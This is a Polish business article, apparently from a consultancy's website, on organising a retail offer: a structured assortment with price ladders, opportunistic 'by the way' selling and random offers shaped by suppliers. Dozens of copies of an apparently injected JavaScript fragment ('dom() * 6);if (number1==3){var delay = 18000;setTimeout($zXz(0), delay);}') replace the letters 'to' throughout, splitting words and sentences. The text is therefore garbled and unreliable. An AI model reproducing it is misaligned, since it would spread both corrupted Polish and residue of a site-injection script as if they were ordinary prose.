In Artykuły, Handel, Uniwersalne

Model sprzedażowy firmy w dużej mierze oparty jest na tym, że klienci przychodzą, a firma coś im oferuje. Jeśli trafi w ich zainteresowanie i produkt będzie w odpowiedniej cenie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to klient kupi. Rządzi tym magiczna formuła sprzedaży.

Jak działa magiczna formuła sprzedaży? Systematycznie i s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniowo.

Milczącym założeniem i podstawą działania tej formuły jest oferta. Ona musi być (i jest) tam zawsze, inaczej niczego się nie sprzedać. Choć nie jest i nie musi być wyraźnie odzwierciedlona w formule, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak tam tkwi bardzo głęboko.

Uwaga. „dotrzymuj słowa”. Jedną z nielicznych uniwersalnych zasad sprzedaży jest dotrzymywanie słowa, jako części ogólnego składnika Modelu Biznesowego, w postaci zarządzania obietnicą. Uporządkowany asortyment jak najbardziej się wpisuje w tę zasadę. Asortyment uporządkowany dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dużo obietnic i bardzo trudne warunki ich dotrzymywania. Tu bardzo pomogłaby rezygnacja i przejście do oferty oportunistycznej. Ale też obietnica nie tylko kosztuje, ale i przyciąga.

Możliwe sposoby zorganizowania oferty handlowej. Można ją zorganizować wg jakiegoś klucza, tak, że poszczególne produkty są ze sobą powiązane. Można wybrać niektóre produkty (też wg klucza, ale bez wzajemnego związku). W końcu można pozwolić, aby asortyment zorganizował się sam, czasem zupełnie przypadkowo, czasem przy pomocy bardzo do tego chętnych dostawców.

Każdy z tych sposobów ma swoje zalety, ma też swoje wady. Zorganizowany asortyment dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyraźne pozycjonowanie Konceptu, umożliwienie (systemowe, a nie tylko przypadkowe). Ale formuła oportunistyczna daje z kolei poważne oszczędności na zapasie, dużo też można oszczędzić np. na miejscu czy obsłudze. Z kolei oferta przypadkowa pozwala klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi (w dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toku interakcji z firmą) wziąć aktywny udział w jej kształ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaniu.

Uwaga. „sam asortyment też nie zadziała”. W każdym przypadku asortyment dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko fragment całego Konceptu Sprzedażowego. I sam, nawet najlepiej zorganizowany, nie zadziała. Jeśli nie polecą go sprzedawcy (lub materiały reklamowe, układ placówki czy visual merchandising w wersji samoobsługowej), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to droższy produkt, nawet jeśli jest w drabince cenowej, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak się nie sprzeda. A więc asortyment dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko możliwość. Zaś wykorzystanie jej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już sprawa całego Konceptu.

Zorganizowana

Jej podstawą jest Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa. A szkieletem Grupy jest drabinka asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa, najczęściej cenowa.

Uwaga. „jak źle, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w całości”. Ubocznym efektem uporządkowania oferty jest skoncentrowane ryzyko. Tu, jeśli firma się pomyli, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pomyli się „na całego”. Zwarta i spójna struktura asortymentu nie pozostawia miejsc na błąd.

Jakie są korzyści z uporządkowanego asortymentu? Rozliczne. Tak czy inaczej, dzięki temu można więcej sprzedać. Przede wszystkim przyciągając klientów, ale tez tym, którzy już nawiązali kontakt z firmą, można sprzedać drożej lub więcej.

Pozycjonowanie. To podstawowa funkcja oferty. Jak uporządkowana oferta może pozycjonować (czyli pośrednio przyciągać klientów – dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to składnik ukrytych składników marketingu sprzedażowego)? Przede wszystkim klient wie wtedy, czego może oczekiwać od firmy. Może też wyjaśnić dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to np. znajomym, co także stanowi ważny składnik marketingu sprzedażowego.

Uwaga. „cross-sell i up-sell”. To główne (poza pozycjonowaniem i w efekcie przyciąganiem klienta) powody uporządkowania oferty w Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe. Wsparcie uporządkowanej oferty dla up-sell jest oczywiste, drabinka cenowa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawa i fundament polecania (i sprzedania) droższego produktu. Dla cross-sell zalety uporządkowanej oferty są mniej oczywiste, ale i tu posiadanie produktów dodatkowych dopasowanych do produktów głównych na pewno pomoże.

Oferta oportunistyczna

Inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprzedaż wybranych produktów, przy okazji odwiedzin klienta. Przy czym same odwiedziny są wtedy wynikiem innych czynników niż asortyment.

Podstawową zaletą oportunistycznego podejścia do oferty jest kreatywne wykorzystanie zarządzanie obietnicą, jako składnika Modelu Biznesowego i jednocześnie narzędzia zarządzania magiczną formułą przedsiębiorstwa. Jeśli tylko firma ma pomysł, jak inaczej przyciągnąć odwiedzających, oferta oportunistyczna ma prawie same zalety.

Sprzedaż oportunistyczna dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dobre rozwiązanie i wykorzystanie sytuacji (odwiedzin). Ale też uda się ona tylko wtedy, jeśli dochowa się pewnych warunków.

Żeby sprzedać coś oportunistycznie, trzeba spełnić kilka warunków. Ale ten główny dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to „skusić”. Tu nie można liczyć na świadomy namysł. Albo więc trzeba sprzedać impulsowo ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak dotyczy tylko wybranych produktów), albo skusić klienta bardzo przekonującymi argumentami. Takim argumentem na pewno jest niska cena. Ale nie tylko, czasem może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być np. unikalność produktu (niedostępnego nigdzie indziej lub trudno dostępnego), czasem może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być oczekiwana nowość (wtedy klient nie chce czekać – choć wtedy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już rodzaj impulsu).

Uwaga. „przyjść 3 razy”. Mało produktów wybieranych jest impulsowo. I przede wszystkim dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to są dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zwykle produkty o niskiej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości. Większość produktów wybieranych jest jednak po jakimś dłuższym czy krótszym namyśle. To może być w pełni świadomy wybór, może też być efektem namowy (np. reklamy) czy doświadczenia w użytkowaniu. Ale tak czy inaczej jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to proces wyboru.

Szczególnie dotyczy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to produktów tzw. inwestycyjnych, gdzie proces zakupowy składa się z fazy zbierania informacji, porównywania i w końcu wyboru. To zwykle (średnio) oznacza 3 wizyty w placówce (w dobie Internetu pierwsza co najmniej wizyta odbywa się on-line).

Co proces wybierania i kupowania oznacza dla sposobu kształ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towania oferty? Jeśli chodzi o produkty impulsowe, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nic albo niewiele. Ale dla produktów inwestycyjnych dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wymaga „przełamania” procesu. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo przekonującymi argumentami, gdyż klient musi zacząć się zachowywać inaczej niż zamierzał. A zmiana zachowań klienta jest trudna i kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towna dla firmy. Zwykle trzeba bowiem przekonać klienta pieniędzmi, niestety, pieniędzmi firmy.

Uwaga. „w Internecie jest inaczej”. Tu bowiem proces wybierania produktu oderwany jest od procesu wyboru kanału sprzedaży. Tym samym nie trzeba przełamywać procesu kupowania, wystarczy (choć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trudne, ale bardzo opłacalne) włączyć się do niego w odpowiednim (ostatnim wyboru kanału sprzedaży) momencie.

Skusić jest najważniejsze, ale nie wystarczy. Trzeba jeszcze produkt pokazać (co nie zawsze jest oczywiste) i wytłumaczyć przydatność. Jedno i drugie jest trudne, gdyż oferta oportunistyczna nie „nastraja” wcześniej klienta do zakupu. Trzeba dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zrobi „tu i teraz”, bezpośrednio przy produkcie. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trudne, w dodatku klienta da na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firmie mniej czasu, niż gdy jest w dziale ze zorganizowaną ofertą.

Trzeba też podkreślić tzw. korzyść dla klienta, czyli przedstawić powody, dla których klient miałby się skupić. To trzeba oczywiście zrobić zawsze, ale w przypadku oferty oportunistycznej siła przekonywania (i siła argumentu) musi być większa niż zwykle.

Oferta przypadkowa

To najczęstszy przypadek. Zwykle wtedy oferta jest efektem his dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torycznych doświadczeń firmy i przypadku. Nie bez znaczenia jest tu także wpływ dostawców.

Uwaga. „wpływ dostawców na ofertę”. Dostawcy znają się najlepiej na produkcie. To fakt, przecież sami go produkują, a przynajmniej dostarczają. Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że znają się na produkcie, wcale nie znaczy, że znają się na ofercie. A nawet jeśli się znają ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyjątki), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ich interes całkowicie rozmija się z interesem sprzedającego. Chyba, że ten sam jest swoim dostawcą – wtedy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sytuacja marki własnej. Wtedy jednak interes producenta przeważa nad sprzedażą i sprzedaż jest tylko „obudową” dla produktu i jego marki.

Przypadkowa oferta nie musi być wcale być zła dla firmy i jej sprzedaży czy ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności. Ma swoje zalety. Przede wszystkim rozprasza ryzyko nietrafienia w oczekiwania klienta. To zawsze efekt chaosu, ale i tego, że w końcu jest efektem his dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torycznych doświadczeń i weryfikacji oferty przez klienta.

Podsumowanie

Sprzedaż oportunistyczna (czyli sprzedaż „przy okazji”) dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nic innego, jak wykorzystanie ruchu do firmy (ruchu, który już jest i tak). Czyli nie można tu liczyć, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie oferta przyciągnie, ale można przy okazji dodatkowo zarobić. I jeśli zrobi się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w przemyślany sposób, można zarobić znacznie więcej.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.